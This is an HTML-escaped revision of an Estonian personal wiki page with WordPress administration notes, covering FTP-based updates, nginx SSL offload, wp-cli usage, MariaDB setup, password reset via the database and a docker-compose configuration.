.entry-content table.hinnatabel tr td:first-child:not(.fourcols) { width: 90%;}&lt;br /&gt;
.entry-content table.contact tr:nth-child(2n+1) td {&lt;br /&gt;
 background-color: #fff !important;&lt;br /&gt;
}&lt;br /&gt;
.tulp-teenus {width: 80%;}&lt;br /&gt;
.tulp-hind {width: 20%; text-align: center; font-weight: bold;}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* kui /wp-admin/ uri enam ei tööta, siis võib olla abi http://codex.wordpress.org/Changing_The_Site_URL õpetusest, need read nö kirjutavad üle andmebaasis kirjeldatud väärtused, nad tuleb sisestada php faili algusse&lt;br /&gt;
&lt;br /&gt;
 define('WP_HOME','http://example.com');&lt;br /&gt;
 define('WP_SITEURL','http://example.com');&lt;br /&gt;
&lt;br /&gt;
või andmebaasis muuta&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; select option_value from wp_options where option_name='home';&lt;br /&gt;
 mysql&amp;gt; select option_value from wp_options where option_name='siteurl';&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; update wp_options set option_value='http://www.moraal.ee/wp' where option_name='home';&lt;br /&gt;
 mysql&amp;gt; update wp_options set option_value='http://www.moraal.ee/wp' where option_name='siteurl';&lt;br /&gt;
&lt;br /&gt;
===Tarkvara uuendamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara uuendamiseks on mitmeid võimalusi, muu hulgas&lt;br /&gt;
&lt;br /&gt;
* webgui kaudu&lt;br /&gt;
* failisüsteemi kaudu&lt;br /&gt;
&lt;br /&gt;
====Webgui kaudu====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt lähtub põhimõttest, et veebiserveri protsessidel ja veebirakendustega seotud failidel ja kataloogidel peavad võimalusel olema erinevad omanikud:grupid. Vastasel korral on pahalasel veel üks võimalus teha muudatusi rakendusserveri failisüseemi tundlikus osas.&lt;br /&gt;
&lt;br /&gt;
Pluginate ja WP tarkvara enda uuendamiseks on mitmeid võimalusi. Kui veebiserveri failisüsteemis on rakenduse failid mitte veebiserver protsessi vaid mingi kasutaja, kes ftp abil sisse logida saab, omad, siis on võimalik selline asjakorraldus&lt;br /&gt;
&lt;br /&gt;
* kasutaja logib admin privileegidega brauseri abil teenusesse sisse&lt;br /&gt;
* liigub uuendamise sektsiooni ja asub uuendama; esmalt Core, siis Themes ja lõpuks Plugins&lt;br /&gt;
* server pöördub internetti ja kopeerib vastava uuenduse ära&lt;br /&gt;
* server pöördub sisemiselt ise enda poole üle ftp kasutades seda 'kasutaja' kontot ja kopeerib failid failisüsteemi sobivatesse asukohtadesse (nii toimub kopeerimine failisüsteemi mitte veebiserveri kasutajana vaid ftp kasutajana)&lt;br /&gt;
* wordpress teeb lisaks mingeid abistavaid toiminguid (nt muudab failisüsteemis loabitte, muudab andmebaasi sisu jne)&lt;br /&gt;
&lt;br /&gt;
Selleks, et see asjakorraldus töötaks peab&lt;br /&gt;
&lt;br /&gt;
* veebiserveris töötama ftp server&lt;br /&gt;
* tundub, et piisab kui www-data kasutaja ei saa asjadele ligi ja siis rakendus hakkab ftp abil käima, vajadusel võib wp-config.php failis kasutada selliseid ridu (lisaks saab ideid aadressilt https://codex.wordpress.org/Editing_wp-config.php) (&lt;br /&gt;
&lt;br /&gt;
 define( 'FS_METHOD', 'ftpsockets' );&lt;br /&gt;
 define( 'FTP_BASE', '/html/' );&lt;br /&gt;
 define( 'FTP_SSL', false );&lt;br /&gt;
&lt;br /&gt;
kus FTP_BASE on see failisüsteemi WP rakenduse path, mis paistab ftp kasutajale peale sisselogimist (antud juhul on ftp kasutaja chrootitud)&lt;br /&gt;
&lt;br /&gt;
Uuendamisel ftp serverisse sisselogimisel paistab brauseris selline pilt&lt;br /&gt;
&lt;br /&gt;
[[Pilt:wp-3.gif]]&lt;br /&gt;
&lt;br /&gt;
Lisaks saab kasutada selliseid parameetreid, siis toimub sellesse FTP serverisse sisselogimine automaatselt&lt;br /&gt;
&lt;br /&gt;
 define( 'FS_METHOD', 'ftpext' );&lt;br /&gt;
 define( 'FTP_USER', 'ftp-wp' );  &lt;br /&gt;
 define( 'FTP_PASS', 'parool' );  &lt;br /&gt;
 define( 'FTP_HOST', '127.0.0.1' );      &lt;br /&gt;
 define( 'FTP_SSL', false );&lt;br /&gt;
&lt;br /&gt;
* vsftpd serveri puhul võib abiks olla logimine&lt;br /&gt;
&lt;br /&gt;
 log_ftp_protocol=YES&lt;br /&gt;
&lt;br /&gt;
=====v. 4.6.1 -&amp;gt; 4.7.2=====&lt;br /&gt;
&lt;br /&gt;
Tundub, et v. 4.6.1 -&amp;gt; 4.7.2 uuendamine töötab väga ilusti. Fluida theme juures ilmus Front Page juurde nähtavale nö kummaline asi, selle väljalülitamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====Failisüsteemi kaudu====&lt;br /&gt;
&lt;br /&gt;
Üldine protseduur, https://wordpress.org/documentation/article/updating-wordpress/#manual-update&lt;br /&gt;
&lt;br /&gt;
Failisüsteemi kaudu uuendamine sobib nt juhtumil kui webgui kaudu ei pakuta sobivat versiooni, nt uuendusel v. 5.7.2 -&amp;gt; 5.7.11, &lt;br /&gt;
https://wordpress.org/download/releases/#branch-57&lt;br /&gt;
&lt;br /&gt;
===SSL offload===&lt;br /&gt;
&lt;br /&gt;
Tundub, et Wordpress 6.6.2 töötab väga hästi ssl offloaderi, nt NginX taga. Paigaldamise protseduur&lt;br /&gt;
&lt;br /&gt;
* esmalt paigaldada ära naturaalse http://www.auul.pri.ee/wp/ aadressile ilma ssl kasutamiseta (otse backend poole pöördudes)&lt;br /&gt;
* lülitada ssl kasutamine sisse all esitatud kolme muudatuse abil (1. php rakenduses webgui kaudu 2. nginx, 3. php rakenduse seadistusfail)&lt;br /&gt;
&lt;br /&gt;
wordpress webgui enda seadistustes väljendada, Settings -&amp;gt; General&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
WordPress Address (URL) - https://www.auul.pri.ee/wp/&lt;br /&gt;
Site Address (URL) - https://www.auul.pri.ee/wp/&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seejärel nginx ssl offloader seadistustes&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
..&lt;br /&gt;
    location /wp {&lt;br /&gt;
      proxy_set_header Host $http_host;&lt;br /&gt;
      proxy_set_header X-Real-IP $remote_addr;&lt;br /&gt;
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&lt;br /&gt;
      proxy_set_header X-Forwarded-Proto $scheme;&lt;br /&gt;
      proxy_pass http://192.168.1.24;&lt;br /&gt;
&lt;br /&gt;
      proxy_connect_timeout       900;&lt;br /&gt;
      proxy_send_timeout          900;&lt;br /&gt;
      proxy_read_timeout          900;&lt;br /&gt;
      send_timeout                900;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning php rakenduse seadisusfailis wp-config.php, algusse lisatud sektsioon, muus osas fail säilib&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# head -n 6 wp/wp-config.php &lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &amp;amp;&amp;amp; $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {&lt;br /&gt;
  $_SERVER['HTTPS'] = 'on';&lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
..&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab rakendust kasutada aadressil https://www.auul.pri.ee/wp/ (ja üle http:// enam ei saa).&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://blog.ldev.app/running-wordpress-behind-ssl-and-nginx-reverse-proxy/&lt;br /&gt;
* https://www.reddit.com/r/nginxproxymanager/comments/10u0wbj/running_wordpress_behind_nginx_proxy_manager/&lt;br /&gt;
&lt;br /&gt;
===wp-cli===&lt;br /&gt;
&lt;br /&gt;
wp-cli http://wp-cli.org/ võimaldab hallata WordPress lahendust käsurealt, sh automatiseerida tegevusi.&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine====&lt;br /&gt;
&lt;br /&gt;
wp-cli esineb ühe phar faili kujul, mille saab kopeerida aadressilt ...&lt;br /&gt;
&lt;br /&gt;
 # cd /usr/local/bin&lt;br /&gt;
 # curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar&lt;br /&gt;
 # mv wp-cli.phar wp&lt;br /&gt;
 # chmod 0755 wp&lt;br /&gt;
&lt;br /&gt;
help küsimiseks sobib öelda wp ilma argumentideta&lt;br /&gt;
&lt;br /&gt;
 $ wp&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
====Veebikoha tekitamine====&lt;br /&gt;
&lt;br /&gt;
Ettevalmistusena peab olema olemas&lt;br /&gt;
&lt;br /&gt;
* unix kasutaja:parool&lt;br /&gt;
&lt;br /&gt;
 # mkdir -p /srv/site-2.moraal.ee/html&lt;br /&gt;
 # groupadd site-2&lt;br /&gt;
 # useradd -g site-2 -m -d /srv/site-2.moraal.ee/private -s /bin/bash site-2&lt;br /&gt;
 # chown -R site-2:site-2 /srv/site-2.moraal.ee&lt;br /&gt;
&lt;br /&gt;
* create database andmebaas, kasutaja ja parool&lt;br /&gt;
* apache veebiserveri virt host juurkataloogiga&lt;br /&gt;
&lt;br /&gt;
 /srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Allalaadimine, tulemusena on --path kataloogi php skriptid jms lahti pakitud&lt;br /&gt;
&lt;br /&gt;
 $ wp core download --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Seadistusfaili genereerimine, tulemusena moodustatakse fail /srv/site-2.moraal.ee/html/wp-config.php; käsureal kasutatakse varem tekitatud baasi ligipääse kusjuures nende toimimist taustal kontrollitakse&lt;br /&gt;
&lt;br /&gt;
 $ wp config create --path=/srv/site-2.moraal.ee/html --dbname=site_2 --dbuser=site_2 --dbpass=parool --dbhost=127.0.0.1 --dbprefix=wp_&lt;br /&gt;
&lt;br /&gt;
Andmebaasi sisu genereerimiseks&lt;br /&gt;
&lt;br /&gt;
 $ wp core install --path=/srv/site-2.moraal.ee/html --url=http://site-2.moraal.ee/ --title=site-2 --admin_user=admin \&lt;br /&gt;
  --admin_password=parool --admin_email=imre@auul.pri.ee&lt;br /&gt;
&lt;br /&gt;
Tulemusena on olemas default sisuga veebikoht aadressil http://site-2.moraal.ee/ ja sinna saab admin nimelise kasutaja ja näidatud parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lõpuks muuta veel osa katalooge veebiserveri kasutaja jaoks kirjutatavaks&lt;br /&gt;
&lt;br /&gt;
 # chown www-data:www-data /srv/site-2.moraal.ee/html/wp-content/uploads&lt;br /&gt;
&lt;br /&gt;
====Pluginate kasutamine====&lt;br /&gt;
&lt;br /&gt;
Plugina lisamine&lt;br /&gt;
&lt;br /&gt;
 $ wp plugin install hello-dolly --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Plugina aktiviseerimine&lt;br /&gt;
&lt;br /&gt;
 $ wp plugin activate hello-dolly --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Plugina deaktiviseerimine&lt;br /&gt;
&lt;br /&gt;
 $ wp plugin deactivate hello-dolly --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Pluginate nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp plugin list --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
+-------------+----------+--------+---------+&lt;br /&gt;
| name        | status   | update | version |&lt;br /&gt;
+-------------+----------+--------+---------+&lt;br /&gt;
| akismet     | inactive | none   | 3.3.2   |&lt;br /&gt;
| hello-dolly | inactive | none   | 1.6     |&lt;br /&gt;
+-------------+----------+--------+---------+&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plugina eemaldamine&lt;br /&gt;
&lt;br /&gt;
 $ wp plugin uninstall hello-dolly --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
====Themes kasutamine====&lt;br /&gt;
&lt;br /&gt;
Theme paigaldamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp theme install fluida --path=/srv/site-3.moraal.ee/html&lt;br /&gt;
Installing Fluida (1.3.3)&lt;br /&gt;
Downloading install package from https://downloads.wordpress.org/theme/fluida.1.3.3.zip...&lt;br /&gt;
Unpacking the package...&lt;br /&gt;
Installing the theme...&lt;br /&gt;
Theme installed successfully.&lt;br /&gt;
Success: Installed 1 of 1 themes.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Themes nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp theme list --path=/srv/site-3.moraal.ee/html&lt;br /&gt;
+-----------------+----------+--------+---------+&lt;br /&gt;
| name            | status   | update | version |&lt;br /&gt;
+-----------------+----------+--------+---------+&lt;br /&gt;
| fluida          | inactive | none   | 1.3.3   |&lt;br /&gt;
| twentyfifteen   | inactive | none   | 1.8     |&lt;br /&gt;
| twentyseventeen | active   | none   | 1.3     |&lt;br /&gt;
| twentysixteen   | inactive | none   | 1.3     |&lt;br /&gt;
+-----------------+----------+--------+---------+&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Theme aktiveerimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp theme activate fluida --path=/srv/site-3.moraal.ee/html&lt;br /&gt;
Sccess: Switched to 'Fluida' theme.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Core uuendamine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Kontrollsummade kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp checksum core --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
Success: WordPress install verifies against checksums.&lt;br /&gt;
&lt;br /&gt;
$ echo &amp;quot; &amp;quot; &amp;gt;&amp;gt; /srv/site-2.moraal.ee/html/index.php &lt;br /&gt;
$ wp checksum core --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
Warning: File doesn't verify against checksum: index.php&lt;br /&gt;
Error: WordPress install doesn't verify against checksums.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://deliciousbrains.com/automating-local-wordpress-site-setup-scripts/&lt;br /&gt;
* https://www.dreamhost.com/blog/upgrade-wordpress-core-command-line-wp-cli/&lt;br /&gt;
* https://www.linode.com/docs/websites/cms/install-wordpress-using-wp-cli-on-ubuntu-14-04&lt;br /&gt;
&lt;br /&gt;
===Unustatud parooli muutmine===&lt;br /&gt;
&lt;br /&gt;
* Andmebaasis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
MariaDB [wp_napal]&amp;gt; UPDATE wp_moraalusers SET user_pass = MD5('uusparool') WHERE ID = 1;&lt;br /&gt;
Query OK, 1 row affected (0.15 sec)&lt;br /&gt;
Rows matched: 1  Changed: 1  Warnings: 0&lt;br /&gt;
&lt;br /&gt;
MariaDB [wp_napal]&amp;gt; SELECT ID, user_login, user_pass FROM wp_moraalusers;&lt;br /&gt;
+----+-----------------------+------------------------------------+&lt;br /&gt;
| ID | user_login            | user_pass                          |&lt;br /&gt;
+----+-----------------------+------------------------------------+&lt;br /&gt;
|  1 | imre.oolberg@moraal.ee | 5de5918ceb974a41a9575e385cc2f71b   |&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/WordPress&lt;br /&gt;
* Using WordPress, Tris Hussey, 2010&lt;br /&gt;
* http://usingwordpress.com/&lt;br /&gt;
&lt;br /&gt;
===Wordpress + Fluida abil lihtsa veebikoha tekitamine===&lt;br /&gt;
&lt;br /&gt;
* Pages sissekannete tekitamine (Avaleht, MS1 (menüüsissekanne), MS2, MS1-MV1 (menüüvalik), MS1-MV2, Kontakt jne)&lt;br /&gt;
&lt;br /&gt;
 Pages - Add New -&amp;gt; Publish&lt;br /&gt;
&lt;br /&gt;
* Menüü tekitamine&lt;br /&gt;
&lt;br /&gt;
 Appearance -&amp;gt; Menus -&amp;gt; create a new menü (nimega Peamenüü)&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
Menu Stucture alla viia Pages sissekanded&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
 Menu Settings -&amp;gt; Display location -&amp;gt; Primary Navigation&lt;br /&gt;
&lt;br /&gt;
* Fluida kohendamine&lt;br /&gt;
&lt;br /&gt;
Themes -&amp;gt; Fluida -&amp;gt; Customize&lt;br /&gt;
&lt;br /&gt;
ning seejärel läbi käia&lt;br /&gt;
&lt;br /&gt;
* Site Identity -&amp;gt; Site Identiy -&amp;gt; Site Title ja Site Tagline&lt;br /&gt;
&lt;br /&gt;
 Moraal&lt;br /&gt;
&lt;br /&gt;
* Layout - valida esimene&lt;br /&gt;
* Landing Page -&amp;gt; Settings -&amp;gt; Landing Page&lt;br /&gt;
&lt;br /&gt;
 Disabled (use WordPress homepage)&lt;br /&gt;
&lt;br /&gt;
* Homepage Settings -&amp;gt; A static page -&amp;gt; Homepage&lt;br /&gt;
&lt;br /&gt;
 Avaleht&lt;br /&gt;
&lt;br /&gt;
* Ilusad urlid (eeldab, et Apache mod rewrite jms on sisselülitatud)&lt;br /&gt;
&lt;br /&gt;
 Settings -&amp;gt; Permalinks -&amp;gt; Post name&lt;br /&gt;
&lt;br /&gt;
===20240919 andmebaasi kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
MariaDB [(none)]&amp;gt; CREATE DATABASE projektinimi CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;&lt;br /&gt;
MariaDB [(none)]&amp;gt; grant all privileges on projektinimi.* to 'projektinimi'@'%' identified by 'parool';&lt;br /&gt;
MariaDB [(none)]&amp;gt; grant all privileges on projektinimi.* to 'projektinimi'@'localhost' identified by 'parool';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.auul.pri.ee/wiki/MariaDB&lt;br /&gt;
* https://www.coderedcorp.com/blog/guide-to-mysql-charsets-collations/#:~:text=utf8mb4_unicode_520_ci%20is%20an%20updated%20version,0%20standard.&lt;br /&gt;
&lt;br /&gt;
===20260615 andmebaasi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Ubuntu 26.04&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@wp-xxx:~# apt-get install mariadb-server&lt;br /&gt;
&lt;br /&gt;
root@wp-xxx:~# mysql&lt;br /&gt;
Welcome to the MariaDB monitor.  Commands end with ; or \g.&lt;br /&gt;
Your MariaDB connection id is 31&lt;br /&gt;
Server version: 11.8.6-MariaDB-5 from Ubuntu -- Please help get to 10k stars at https://github.com/MariaDB/Server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
MariaDB [(none)]&amp;gt; CREATE DATABASE db_wp CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci;&lt;br /&gt;
Query OK, 1 row affected (0.001 sec)&lt;br /&gt;
&lt;br /&gt;
MariaDB [(none)]&amp;gt; CREATE USER 'user_wp'@'localhost' IDENTIFIED BY 'parool';&lt;br /&gt;
Query OK, 0 rows affected (0.001 sec)&lt;br /&gt;
&lt;br /&gt;
MariaDB [(none)]&amp;gt; GRANT ALL PRIVILEGES ON db_wp.* TO 'user_wp'@'localhost';&lt;br /&gt;
Query OK, 0 rows affected (0.001 sec)&lt;br /&gt;
&lt;br /&gt;
MariaDB [(none)]&amp;gt; FLUSH PRIVILEGES;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Docker compose abil===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-test:~# cat /srv/wp/dc/docker-compose-uus.yml &lt;br /&gt;
name: p_wp&lt;br /&gt;
services:&lt;br /&gt;
&lt;br /&gt;
  svc_wordpress:&lt;br /&gt;
    container_name: cn_wordpress_2&lt;br /&gt;
#    image: wordpress:5.9.3-php8.1-apache&lt;br /&gt;
#    image: wordpress:5.9.3-php8.1-apache_with_newrelic&lt;br /&gt;
#    image: wordpress:php7.4-apache&lt;br /&gt;
    image: wordpress:php8.3-apache&lt;br /&gt;
    restart: always&lt;br /&gt;
    ports:&lt;br /&gt;
      - 8686:80&lt;br /&gt;
    environment:&lt;br /&gt;
      WORDPRESS_DB_HOST: svc_mysql&lt;br /&gt;
      WORDPRESS_DB_USER: exampleuser&lt;br /&gt;
      WORDPRESS_DB_PASSWORD: parool&lt;br /&gt;
      WORDPRESS_DB_NAME: exampledb&lt;br /&gt;
    volumes:&lt;br /&gt;
      - '/srv/wp/volume/wordpress:/var/www/html'&lt;br /&gt;
    networks:&lt;br /&gt;
      - newrelic-php&lt;br /&gt;
&lt;br /&gt;
  svc_mysql:&lt;br /&gt;
    container_name: cn_mysql_2&lt;br /&gt;
#    image: mysql:5.7&lt;br /&gt;
    image: mariadb:noble&lt;br /&gt;
    restart: always&lt;br /&gt;
    environment:&lt;br /&gt;
      MYSQL_DATABASE: exampledb&lt;br /&gt;
      MYSQL_USER: exampleuser&lt;br /&gt;
      MYSQL_PASSWORD: parool&lt;br /&gt;
      MYSQL_RANDOM_ROOT_PASSWORD: '1'&lt;br /&gt;
    volumes:&lt;br /&gt;
      - '/srv/wp/volume/mysql:/var/lib/mysql'&lt;br /&gt;
    networks:&lt;br /&gt;
      - newrelic-php&lt;br /&gt;
      &lt;br /&gt;
  svc_redis:&lt;br /&gt;
    container_name: cn_redis&lt;br /&gt;
#    image: mysql:5.7&lt;br /&gt;
    image: redis:bookworm&lt;br /&gt;
    restart: always&lt;br /&gt;
    environment:&lt;br /&gt;
      - REDIS_PORT=6379&lt;br /&gt;
      - REDIS_DATABASES=16&lt;br /&gt;
#    volumes:&lt;br /&gt;
#      - '/srv/wp/volume/mysql:/root/redis'&lt;br /&gt;
    networks:&lt;br /&gt;
      - newrelic-php&lt;br /&gt;
      &lt;br /&gt;
networks:&lt;br /&gt;
  newrelic-php:&lt;br /&gt;
    name: newrelic-php&lt;br /&gt;
    external: true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=WordPress&amp;diff=4217</id>
		<title>WordPress</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=WordPress&amp;diff=4217"/>
		<updated>2026-06-15T10:54:09Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* 20260515 andmebaasi kasutamine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
WordPress (WP) http://wordpress.org/ ...&lt;br /&gt;
&lt;br /&gt;
* http://wordpress.org/&lt;br /&gt;
* http://wordpress.com/&lt;br /&gt;
* http://automattic.com/&lt;br /&gt;
&lt;br /&gt;
Parlance&lt;br /&gt;
&lt;br /&gt;
* The Codex - WP dokumentatsioon&lt;br /&gt;
&lt;br /&gt;
===Ettevalmistused===&lt;br /&gt;
&lt;br /&gt;
WordPress tarkvara kasutamiseks peab olema kasutada&lt;br /&gt;
&lt;br /&gt;
* MySQL andmebaas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mysql&amp;gt; create database site_1 character set utf8 collate utf8_general_ci;&lt;br /&gt;
mysql&amp;gt; grant all privileges on site_1.* to 'site_1'@'%' identified by 'parool';&lt;br /&gt;
mysql&amp;gt; grant all privileges on site_1.* to 'site_1'@'localhost' identified by 'parool';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* nt Apache veebiserver&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost 217.146.67.108:80&amp;gt;&lt;br /&gt;
    ServerAdmin www@site-2.moraal.ee&lt;br /&gt;
    DocumentRoot /srv/site-2.moraal.ee/html&lt;br /&gt;
    ServerName site-2.moraal.ee&lt;br /&gt;
    ErrorLog /var/log/apache2/site-2.moraal.ee-error.log&lt;br /&gt;
    LogFormat &amp;quot;%v %a %l %u %t \&amp;quot;%r\&amp;quot; %&amp;gt;s %b \&amp;quot;%{Referer}i\&amp;quot; \&amp;quot;%{User-Agent}i\&amp;quot; %D&amp;quot; vhost&lt;br /&gt;
    CustomLog /var/log/apache2/site-2.moraal.ee-access.log vhost&lt;br /&gt;
&lt;br /&gt;
&amp;lt;Directory /srv/site-2.moraal.ee/html&amp;gt;&lt;br /&gt;
    Options All -Indexes&lt;br /&gt;
    AllowOverride All&lt;br /&gt;
    Order allow,deny&lt;br /&gt;
    Allow from All&lt;br /&gt;
    AddDefaultCharset &amp;quot;utf-8&amp;quot;&lt;br /&gt;
&amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* veebiserveri ees olev tulemüür peab lubama nö isanda juurde 80 ja 443 pordile pöörduda (pluginate jms paigaldamiseks ja uuendamiseks)&lt;br /&gt;
&lt;br /&gt;
Süsteemis olema vajalikud abistavad teegid jms, nende paigaldamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # apt-get install `echo $(apt-get install wordpress -s | grep ^Inst | grep -v wordpress | awk {'print $2'})` -s&lt;br /&gt;
&lt;br /&gt;
===Tarkvara paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Kopeerida tarkvara arhiiv aadressilt http://wordpress.org/ ja pakkida lahti veebijuurika all kataloogi&lt;br /&gt;
&lt;br /&gt;
 # cd /var/www/html&lt;br /&gt;
 # tar zxf /var/tmp/wordpress-4.2.4.tar.gz&lt;br /&gt;
&lt;br /&gt;
Muuta ajutiselt kõik rakenduse kataloogis www-data kasutajale kirjutatavaks&lt;br /&gt;
&lt;br /&gt;
 # chown -R www-data:www-data /var/www/html/wordpress&lt;br /&gt;
&lt;br /&gt;
Avades brauseris ning täites lahtrid sobivalt, eriti andmbaasi ligipääsi ligipääsu, paigaldada rakendus&lt;br /&gt;
&lt;br /&gt;
 http://wp.imool/wp&lt;br /&gt;
&lt;br /&gt;
* Site Title&lt;br /&gt;
* Username&lt;br /&gt;
* Password&lt;br /&gt;
* eposti aadress&lt;br /&gt;
* Privacy&lt;br /&gt;
&lt;br /&gt;
Peale paigaldamist muuta kõik rakenduse kataloogis kasutajale www-data mitte-kirjutatavaks&lt;br /&gt;
&lt;br /&gt;
 # chown -R ftp-wp:ftp-wp /var/www/html/wordpress&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab Wordpressi kasutada, tõenäoliselt on tarvis veel failisüsteemi õigustes midagi kohendada, nt&lt;br /&gt;
&lt;br /&gt;
 # chown www-data:www-data wp-content/uploads&lt;br /&gt;
&lt;br /&gt;
Admebaasi ligipääs on kirjeldatud seadistusfailis wp-config.php&lt;br /&gt;
&lt;br /&gt;
 define('DB_NAME', 'wp');                &lt;br /&gt;
 define('DB_USER', 'wp');           &lt;br /&gt;
 define('DB_PASSWORD', 'wpparool');     &lt;br /&gt;
 define('DB_HOST', 'localhost');&lt;br /&gt;
&lt;br /&gt;
===Seadistamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Komponentide paigaldamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Fluida teema paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2016 aasta suvel on Fluida https://wordpress.org/themes/fluida/ ilus puhas tasuta teema. Paigaldamiseks tuleb valida&lt;br /&gt;
&lt;br /&gt;
 Apperance -&amp;gt; Themes -&amp;gt; Add New -&amp;gt; Search themes -&amp;gt; 'Fluida'&lt;br /&gt;
&lt;br /&gt;
===Kasutamine===&lt;br /&gt;
&lt;br /&gt;
* Fluida -&amp;gt; Miscellaneous -&amp;gt; Custom Theme CSS&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
